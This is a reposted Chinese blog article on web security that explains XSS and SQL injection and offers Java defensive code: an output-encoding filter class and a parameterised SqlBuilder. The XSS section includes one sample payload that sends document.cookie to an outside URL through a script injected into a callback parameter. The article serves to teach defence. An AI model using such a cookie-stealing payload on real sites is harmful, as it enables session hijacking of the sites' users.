WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

简介:

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见。

对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

 

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

 

XSS工作流程

 

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx< /script>如果这里没有经过转义处理,则页面中就嵌入了一段script
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

 

 

 

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

 

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

 

那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

复制代码
复制代码
import java.net.URLEncoder;

/**
 * 过滤非法字符工具类
 * 
 */
public class EncodeFilter { //过滤大部分html字符 public static String encode(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); switch (ch) { case '&': sb.append("&amp;"); break; case '<': sb.append("&lt;"); break; case '>': sb.append("&gt;"); break; case '"': sb.append("&quot;"); break; case '\'': sb.append("&#x27;"); break; case '/': sb.append("&#x2F;"); break; default: sb.append(ch); } } return sb.toString(); } //js端过滤 public static String encodeForJS(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); // do not encode alphanumeric characters and ',' '.' '_' if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9' || ch == ',' || ch == '.' || ch == '_') { sb.append(ch); } else { String temp = Integer.toHexString(ch); // encode up to 256 with \\xHH if (ch < 256) { sb.append('\\').append('x'); if (temp.length() == 1) { sb.append('0'); } sb.append(temp.toLowerCase()); // otherwise encode with \\uHHHH } else { sb.append('\\').append('u'); for (int j = 0, d = 4 - temp.length(); j < d; j ++) { sb.append('0'); } sb.append(temp.toUpperCase()); } } } return sb.toString(); } /** * css非法字符过滤 * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters  */ public static String encodeForCSS(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); // check for alphanumeric characters if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9') { sb.append(ch); } else { // return the hex and end in whitespace to terminate sb.append('\\').append(Integer.toHexString(ch)).append(' '); } } return sb.toString(); } /** * URL参数编码 * http://en.wikipedia.org/wiki/Percent-encoding */ public static String encodeURIComponent(String input) { return encodeURIComponent(input, "utf-8"); } public static String encodeURIComponent(String input, String encoding) { if (input == null) { return input; } String result; try { result = URLEncoder.encode(input, encoding); } catch (Exception e) { result = ""; } return result; } public static boolean isValidURL(String input) { if (input == null || input.length() < 8) { return false; } char ch0 = input.charAt(0); if (ch0 == 'h') { if (input.charAt(1) == 't' && input.charAt(2) == 't' && input.charAt(3) == 'p') { char ch4 = input.charAt(4); if (ch4 == ':') { if (input.charAt(5) == '/' && input.charAt(6) == '/') { return isValidURLChar(input, 7); } else { return false; } } else if (ch4 == 's') { if (input.charAt(5) == ':' && input.charAt(6) == '/' && input.charAt(7) == '/') { return isValidURLChar(input, 8); } else { return false; } } else { return false; } } else { return false; } } else if (ch0 == 'f') { if( input.charAt(1) == 't' && input.charAt(2) == 'p' && input.charAt(3) == ':' && input.charAt(4) == '/' && input.charAt(5) == '/') { return isValidURLChar(input, 6); } else { return false; } } return false; } static boolean isValidURLChar(String url, int start) { for (int i = start, c = url.length(); i < c; i ++) { char ch = url.charAt(i); if (ch == '"' || ch == '\'') { return false; } } return true; } }
复制代码
复制代码

 乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779

 

SQL注入漏洞

 

SQL注入攻击的原理:

 

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

 

防御方法

  • 使用预编译语句,
  • 绑定变量
  • 使用安全的存储过程
  • 检查数据类型
  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

 

复制代码
复制代码
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class SqlBuilder {
    protected StringBuilder sqlBuf = new StringBuilder(); protected List<Object> values = new ArrayList<Object>(); protected Map<String, Object> paramMap = new HashMap<String, Object>(); public SqlBuilder appendSql(String sql) { sqlBuf.append(sql); return this; } public SqlBuilder appendValue(Object value) { sqlBuf.append('?'); values.add(value); return this; } public SqlBuilder appendValues(Object[] values) { sqlBuf.append('('); for (int i = 0, c = values.length; i < c; ++i) { sqlBuf.append('?').append(','); this.values.add(values[i]); } int last = sqlBuf.length() - 1; if (last > 0 && sqlBuf.charAt(last) == ',') { sqlBuf.setCharAt(last, ')'); } return this; } public SqlBuilder appendEqParam(String param, Object value) { sqlBuf.append(param).append(" = :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendLtParam(String param, Object value) { sqlBuf.append(param).append(" < :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendGtParam(String param, Object value) { sqlBuf.append(param).append(" > :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendInParam(String param, Object ... values) { if(values == null) { return this; } sqlBuf.append(param).append(" in ("); int len = values.length; for(int i = 0; i < len; i++) { if(i != 0) { sqlBuf.append(", "); } sqlBuf.append(":").append(param).append(i); paramMap.put(param+i, values[i]); } sqlBuf.append(")"); return this; } public SqlBuilder appendLikeParam(String param, Object value) { sqlBuf.append(param).append(" like :").append(param); paramMap.put(param, "%"+value+"%"); return this; } public String getSql() { return sqlBuf.toString(); } public Object[] getValues() { return values.toArray(); } public Map<String, Object> getParamMap() { return paramMap; } }
复制代码
复制代码

 

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!

 

转自:链接



本文转自SharkBin博客园博客,原文链接:http://www.cnblogs.com/SharkBin/p/5328121.html ,如需转载请自行联系原作者
相关文章
|
3天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
14 1
|
6天前
|
缓存 安全 JavaScript
掌握JAMstack:构建更快、更安全的Web应用
JAMstack 是一种现代 Web 开发架构,结合 JavaScript、APIs 和 Markup,创建更快、更安全的 Web 应用。其核心优势包括高性能、安全性、可扩展性和易维护性。JAMstack 通过预构建静态页面和 API 实现高效渲染,利用静态站点生成器如 Gatsby 和 Next.js,并借助 CDN 和缓存策略提升全球访问速度。尽管面临复杂交互、SEO 和数据更新等挑战,但通过 Serverless Functions、预渲染和实时 API 更新等方案,这些挑战正逐步得到解决。
|
15天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
59 8
|
15天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
23 3
|
21天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
72 5
|
19天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
116 2
|
21天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
54 3
|
22天前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
68 1
|
2天前
|
监控 安全 Apache
构建安全的URL重定向策略:确保从Web到App平滑过渡的最佳实践
【10月更文挑战第2天】URL重定向是Web开发中常见的操作,它允许服务器根据请求的URL将用户重定向到另一个URL。然而,如果重定向过程没有得到妥善处理,可能会导致安全漏洞,如开放重定向攻击。因此,确保重定向过程的安全性至关重要。
10 0
|
3天前
|
云安全 SQL 安全
数字时代下的Web应用程序安全:漏洞扫描服务的功能与优势
在当今这个数字化时代,Web应用程序不仅是企业与用户之间互动的桥梁,更是企业展示服务、传递价值的核心平台。然而,随着技术的不断进步,Web应用程序的复杂性也在不断增加,这为恶意攻击者提供了可乘之机。安全漏洞的频发,如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等,严重威胁着企业的数据安全、服务稳定性乃至经济利益。在这样的背景下,漏洞扫描服务作为一道重要的安全防线,显得尤为重要。本文将深入探讨漏洞扫描服务在面对Web应用程序安全问题时,所具备的功能优势。